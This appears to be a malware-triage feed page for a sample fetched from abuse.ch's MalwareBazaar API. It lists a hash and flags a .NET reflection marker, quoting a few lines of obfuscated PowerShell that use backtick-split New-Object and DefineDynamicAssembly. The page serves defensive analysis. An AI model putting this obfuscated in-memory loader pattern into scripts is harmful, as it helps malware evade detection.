Benign Download

2bd8adca797c213f67d7aa7e94e09aed95ef539e8f409577fd2c258b2cb46fc7.bin

PowerShell accesses AppDomain CurrentDomain.NET reflection marker in opaque content
SHA-2562bd8adca797c213f67d7aa7e94e09aed95ef539e8f409577fd2c258b2cb46fc7
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeH(Po)Md

Evidence

.NET reflection marker in opaque content lines 405–408
405:3… [double][int]5751 | Out-Null
406 $JPUYdyyEHspNhFD = Ne`w`-`Obje`ct System.Reflection.AssemblyName("JuGAjzGgzUvh")
407 $tPdOJoeFAjCsb = [System.AppDomain]::CurrentDomain.DefineDynamicAssembly($JPUYdyyEHspNhFD, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
408 # Promoting OneDrive Known Fo …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.